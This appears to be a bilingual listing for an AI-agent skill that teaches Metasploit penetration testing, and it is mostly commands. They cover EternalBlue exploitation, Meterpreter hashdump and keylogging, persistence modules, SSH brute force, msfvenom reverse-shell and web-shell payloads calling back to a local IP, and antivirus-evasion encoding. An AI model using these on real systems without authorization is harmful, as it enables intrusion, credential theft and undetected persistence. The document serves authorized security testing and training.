Metasploit Framework渗透测试教程：从漏洞利用到后期利用完整指南

Metasploit Framework by automindtechnologie-jpg/ultimate-skill.md

GitHub

安装命令

npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'Metasploit Framework'

自动化测试安全

🇨🇳中文介绍

Metasploit Framework

目的

利用 Metasploit Framework 进行全面的渗透测试，涵盖从初始漏洞利用到后期利用活动。Metasploit 提供了一个统一的平台，用于在授权的安全评估期间进行漏洞利用、载荷生成、辅助扫描以及对已入侵系统维持访问。

前提条件

所需工具

# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init

所需知识

网络和系统基础知识
理解漏洞和利用方法
基本编程概念
目标枚举技术

所需权限

测试的书面授权
对目标系统的网络访问权限
了解测试范围和交战规则

输出与交付成果

利用证据 - 成功入侵的截图和日志
会话日志 - 命令历史记录和提取的数据
漏洞映射 - 已利用的漏洞及其 CVE 编号
后期利用成果 - 凭据、文件和系统信息

核心工作流程

阶段 1: MSFConsole 基础

启动并导航 Metasploit 控制台：

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

阶段 2: 模块类型

了解不同的模块类别：

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

阶段 3: 搜索模块

为目标查找合适的模块：

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

阶段 4: 配置漏洞利用

设置漏洞利用以执行：

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

阶段 5: 载荷类型

根据情况选择合适的载荷：

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

阶段 6: Meterpreter 会话

使用 Meterpreter 进行后期利用：

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

阶段 7: 辅助模块

使用辅助模块进行侦察：

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

阶段 8: 后期利用模块

在活动会话上运行后期模块：

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

阶段 9: 使用 msfvenom 生成载荷

创建独立的载荷：

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

阶段 10: 设置处理器

配置监听器以接收传入连接：

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

快速参考

基本 MSFConsole 命令

命令	描述
`search [term]`	搜索模块
`use [module]`	选择模块
`info`	显示模块信息
`show options`	显示可配置选项
`set [OPT] [val]`	设置选项值
`setg [OPT] [val]`	设置全局选项
/

Meterpreter 基本命令

命令	描述
`sysinfo`	系统信息
`getuid`	当前用户
`getsystem`	尝试权限提升
`hashdump`	转储密码哈希
`shell`	切换到系统 shell
`upload/download`	文件传输
`screenshot`

常用漏洞利用模块

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

约束与限制

法律要求

仅用于您拥有或已获得书面授权测试的系统
记录所有测试活动
遵守交战规则
向相关方报告所有发现

技术限制

现代 AV/EDR 可能检测到 Metasploit 载荷
某些漏洞利用需要特定的目标配置
防火墙规则可能阻止反向连接
并非所有漏洞利用在所有目标版本上都有效

操作安全

尽可能使用加密通道（reverse_https）
测试后清理痕迹
避免被监控系统检测到
将后期利用活动限制在商定的范围内

故障排除

问题	解决方案
数据库未连接	运行 `sudo msfdb init`，启动 PostgreSQL，然后 `db_connect`
漏洞利用失败/无会话	运行 `check`；验证载荷架构；检查防火墙；尝试不同的载荷
会话立即死亡	迁移到稳定的进程；使用无阶段载荷；检查 AV；使用 AutoRunScript
载荷被 AV 检测到	使用编码 `-e x86/shikata_ga_nai -i 10`；使用规避模块；自定义模板

每周安装次数

仓库

automindtechnol…skill.md

首次出现

1970年1月1日

🇺🇸English

Metasploit Framework

Purpose

Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.

Prerequisites

Required Tools

# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

# Start PostgreSQL for database support
sudo systemctl start postgresql
sudo msfdb init

Required Knowledge

Network and system fundamentals
Understanding of vulnerabilities and exploits
Basic programming concepts
Target enumeration techniques

Required Access

Written authorization for testing
Network access to target systems
Understanding of scope and rules of engagement

Outputs and Deliverables

Exploitation Evidence - Screenshots and logs of successful compromises
Session Logs - Command history and extracted data
- Exploited vulnerabilities with CVE references

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Phase 1: MSFConsole Basics

Launch and navigate the Metasploit console:

# Start msfconsole
msfconsole

# Quiet mode (skip banner)
msfconsole -q

# Basic navigation commands
msf6 > help                    # Show all commands
msf6 > search [term]           # Search modules
msf6 > use [module]            # Select module
msf6 > info                    # Show module details
msf6 > show options            # Display required options
msf6 > set [OPTION] [value]    # Configure option
msf6 > run / exploit           # Execute module
msf6 > back                    # Return to main console
msf6 > exit                    # Exit msfconsole

Phase 2: Module Types

Understand the different module categories:

# 1. Exploit Modules - Target specific vulnerabilities
msf6 > show exploits
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 2. Payload Modules - Code executed after exploitation
msf6 > show payloads
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# 3. Auxiliary Modules - Scanning, fuzzing, enumeration
msf6 > show auxiliary
msf6 > use auxiliary/scanner/smb/smb_version

# 4. Post-Exploitation Modules - Actions after compromise
msf6 > show post
msf6 > use post/windows/gather/hashdump

# 5. Encoders - Obfuscate payloads
msf6 > show encoders
msf6 > set ENCODER x86/shikata_ga_nai

# 6. Nops - No-operation padding for buffer overflows
msf6 > show nops

# 7. Evasion - Bypass security controls
msf6 > show evasion

Phase 3: Searching for Modules

Find appropriate modules for targets:

# Search by name
msf6 > search eternalblue

# Search by CVE
msf6 > search cve:2017-0144

# Search by platform
msf6 > search platform:windows type:exploit

# Search by type and keyword
msf6 > search type:auxiliary smb

# Filter by rank (excellent, great, good, normal, average, low, manual)
msf6 > search rank:excellent

# Combined search
msf6 > search type:exploit platform:linux apache

# View search results columns:
# Name, Disclosure Date, Rank, Check (if it can verify vulnerability), Description

Phase 4: Configuring Exploits

Set up an exploit for execution:

# Select exploit module
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# View required options
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

# Set target host
msf6 exploit(...) > set RHOSTS 192.168.1.100

# Set target port (if different from default)
msf6 exploit(...) > set RPORT 445

# View compatible payloads
msf6 exploit(...) > show payloads

# Set payload
msf6 exploit(...) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

# Set local host for reverse connection
msf6 exploit(...) > set LHOST 192.168.1.50
msf6 exploit(...) > set LPORT 4444

# View all options again to verify
msf6 exploit(...) > show options

# Check if target is vulnerable (if supported)
msf6 exploit(...) > check

# Execute exploit
msf6 exploit(...) > exploit
# or
msf6 exploit(...) > run

Phase 5: Payload Types

Select appropriate payload for the situation:

# Singles - Self-contained, no staging
windows/shell_reverse_tcp
linux/x86/shell_bind_tcp

# Stagers - Small payload that downloads larger stage
windows/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp

# Stages - Downloaded by stager, provides full functionality
# Meterpreter, VNC, shell

# Payload naming convention:
# [platform]/[architecture]/[payload_type]/[connection_type]
# Examples:
windows/x64/meterpreter/reverse_tcp
linux/x86/shell/bind_tcp
php/meterpreter/reverse_tcp
java/meterpreter/reverse_https
android/meterpreter/reverse_tcp

Phase 6: Meterpreter Session

Work with Meterpreter post-exploitation:

# After successful exploitation, you get Meterpreter prompt
meterpreter >

# System Information
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getpid

# File System Operations
meterpreter > pwd
meterpreter > ls
meterpreter > cd C:\\Users
meterpreter > download file.txt /tmp/
meterpreter > upload /tmp/tool.exe C:\\

# Process Management
meterpreter > ps
meterpreter > migrate [PID]
meterpreter > kill [PID]

# Networking
meterpreter > ipconfig
meterpreter > netstat
meterpreter > route
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.1

# Privilege Escalation
meterpreter > getsystem
meterpreter > getprivs

# Credential Harvesting
meterpreter > hashdump
meterpreter > run post/windows/gather/credentials/credential_collector

# Screenshots and Keylogging
meterpreter > screenshot
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# Shell Access
meterpreter > shell
C:\Windows\system32> whoami
C:\Windows\system32> exit
meterpreter >

# Background Session
meterpreter > background
msf6 exploit(...) > sessions -l
msf6 exploit(...) > sessions -i 1

Phase 7: Auxiliary Modules

Use auxiliary modules for reconnaissance:

# SMB Version Scanner
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# Port Scanner
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set PORTS 1-1000
msf6 auxiliary(...) > run

# SSH Version Scanner
msf6 > use auxiliary/scanner/ssh/ssh_version
msf6 auxiliary(...) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(...) > run

# FTP Anonymous Login
msf6 > use auxiliary/scanner/ftp/anonymous
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# HTTP Directory Scanner
msf6 > use auxiliary/scanner/http/dir_scanner
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > run

# Brute Force Modules
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(...) > set RHOSTS 192.168.1.100
msf6 auxiliary(...) > set USER_FILE /usr/share/wordlists/users.txt
msf6 auxiliary(...) > set PASS_FILE /usr/share/wordlists/rockyou.txt
msf6 auxiliary(...) > run

Phase 8: Post-Exploitation Modules

Run post modules on active sessions:

# List sessions
msf6 > sessions -l

# Run post module on specific session
msf6 > use post/windows/gather/hashdump
msf6 post(windows/gather/hashdump) > set SESSION 1
msf6 post(...) > run

# Or run directly from Meterpreter
meterpreter > run post/windows/gather/hashdump

# Common Post Modules
# Credential Gathering
post/windows/gather/credentials/credential_collector
post/windows/gather/lsa_secrets
post/windows/gather/cachedump
post/multi/gather/ssh_creds

# System Enumeration
post/windows/gather/enum_applications
post/windows/gather/enum_logged_on_users
post/windows/gather/enum_shares
post/linux/gather/enum_configs

# Privilege Escalation
post/windows/escalate/getsystem
post/multi/recon/local_exploit_suggester

# Persistence
post/windows/manage/persistence_exe
post/linux/manage/sshkey_persistence

# Pivoting
post/multi/manage/autoroute

Phase 9: Payload Generation with msfvenom

Create standalone payloads:

# Basic Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.php

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh -o shell.ps1

# ASP web shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f asp -o shell.asp

# WAR file (Tomcat)
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f war -o shell.war

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -o shell.apk

# Encoded payload (evade AV)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe

# List available formats
msfvenom --list formats

# List available encoders
msfvenom --list encoders

Phase 10: Setting Up Handlers

Configure listener for incoming connections:

# Manual handler setup
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.50
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j

# The -j flag runs as background job
msf6 > jobs -l

# When payload executes on target, session opens
[*] Meterpreter session 1 opened

# Interact with session
msf6 > sessions -i 1

Essential MSFConsole Commands

Command	Description
`search [term]`	Search for modules
`use [module]`	Select a module
`info`	Display module information
`show options`	Show configurable options
`set [OPT] [val]`	Set option value
`setg [OPT] [val]`	Set global option
`run` / `exploit`	Execute module
`check`	Verify target vulnerability
`back`	Deselect module
`sessions -l`	List active sessions
`sessions -i [N]`	Interact with session
`jobs -l`	List background jobs
`db_nmap`	Run nmap with database

Meterpreter Essential Commands

Command	Description
`sysinfo`	System information
`getuid`	Current user
`getsystem`	Attempt privilege escalation
`hashdump`	Dump password hashes
`shell`	Drop to system shell
`upload/download`	File transfer
`screenshot`	Capture screen
`keyscan_start`	Start keylogger
`migrate [PID]`	Move to another process
`background`	Background session
`portfwd`	Port forwarding

Common Exploit Modules

# Windows
exploit/windows/smb/ms17_010_eternalblue
exploit/windows/smb/ms08_067_netapi
exploit/windows/http/iis_webdav_upload_asp
exploit/windows/local/bypassuac

# Linux
exploit/linux/ssh/sshexec
exploit/linux/local/overlayfs_priv_esc
exploit/multi/http/apache_mod_cgi_bash_env_exec

# Web Applications
exploit/multi/http/tomcat_mgr_upload
exploit/unix/webapp/wp_admin_shell_upload
exploit/multi/http/jenkins_script_console

Constraints and Limitations

Only use on systems you own or have written authorization to test
Document all testing activities
Follow rules of engagement
Report all findings to appropriate parties

Technical Limitations

Modern AV/EDR may detect Metasploit payloads
Some exploits require specific target configurations
Firewall rules may block reverse connections
Not all exploits work on all target versions

Operational Security

Use encrypted channels (reverse_https) when possible
Clean up artifacts after testing
Avoid detection by monitoring systems
Limit post-exploitation to agreed scope

Issue	Solutions
Database not connected	Run `sudo msfdb init`, start PostgreSQL, then `db_connect`
Exploit fails/no session	Run `check`; verify payload architecture; check firewall; try different payloads
Session dies immediately	Migrate to stable process; use stageless payload; check AV; use AutoRunScript
Payload detected by AV	Use encoding `-e x86/shikata_ga_nai -i 10`; use evasion modules; custom templates

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Metasploit Framework渗透测试教程：从漏洞利用到后期利用完整指南

🇨🇳中文介绍

Metasploit Framework

目的

前提条件

所需工具

所需知识

所需权限

输出与交付成果

核心工作流程

阶段 1: MSFConsole 基础

阶段 2: 模块类型

阶段 3: 搜索模块

阶段 4: 配置漏洞利用

阶段 5: 载荷类型

阶段 6: Meterpreter 会话

阶段 7: 辅助模块

阶段 8: 后期利用模块

阶段 9: 使用 msfvenom 生成载荷

阶段 10: 设置处理器

快速参考

基本 MSFConsole 命令

Meterpreter 基本命令

常用漏洞利用模块

约束与限制

法律要求

技术限制

操作安全

故障排除

🇺🇸English

Metasploit Framework

Purpose

Prerequisites

Required Tools

Required Knowledge

Required Access

Outputs and Deliverables

相关 Skills

Core Workflow

Phase 1: MSFConsole Basics

Phase 2: Module Types

Phase 3: Searching for Modules

Phase 4: Configuring Exploits

Phase 5: Payload Types

Phase 6: Meterpreter Session

Phase 7: Auxiliary Modules

Phase 8: Post-Exploitation Modules

Phase 9: Payload Generation with msfvenom

Phase 10: Setting Up Handlers

Quick Reference

Essential MSFConsole Commands

Meterpreter Essential Commands

Common Exploit Modules

Constraints and Limitations

Legal Requirements

Technical Limitations

Operational Security

Troubleshooting

最新 Skills